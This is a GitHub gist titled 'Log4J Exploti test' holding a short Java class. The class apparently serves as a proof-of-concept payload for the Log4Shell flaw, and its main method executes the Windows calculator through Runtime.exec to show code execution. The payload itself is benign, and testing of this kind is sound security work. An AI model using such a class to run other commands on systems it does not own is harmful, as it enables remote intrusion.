Skip to content

Instantly share code, notes, and snippets.

@otter06
Created December 10, 2021 05:07
Show Gist options
  • Save otter06/1d3fb97eebc13bab77b7a8a2aff19d24 to your computer and use it in GitHub Desktop.
Save otter06/1d3fb97eebc13bab77b7a8a2aff19d24 to your computer and use it in GitHub Desktop.
Log4J Exploti test
import java.io.FileOutputStream;
import java.io.IOException;
import java.net.URL;
import java.nio.channels.Channels;
import java.nio.channels.ReadableByteChannel;
import java.awt.*;
import java.io.File;
public class Main {
public static void main(String[] args) throws IOException {
Runtime.getRuntime().exec("C:/WINDOWS/SYSTEM32/CALC.EXE");
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment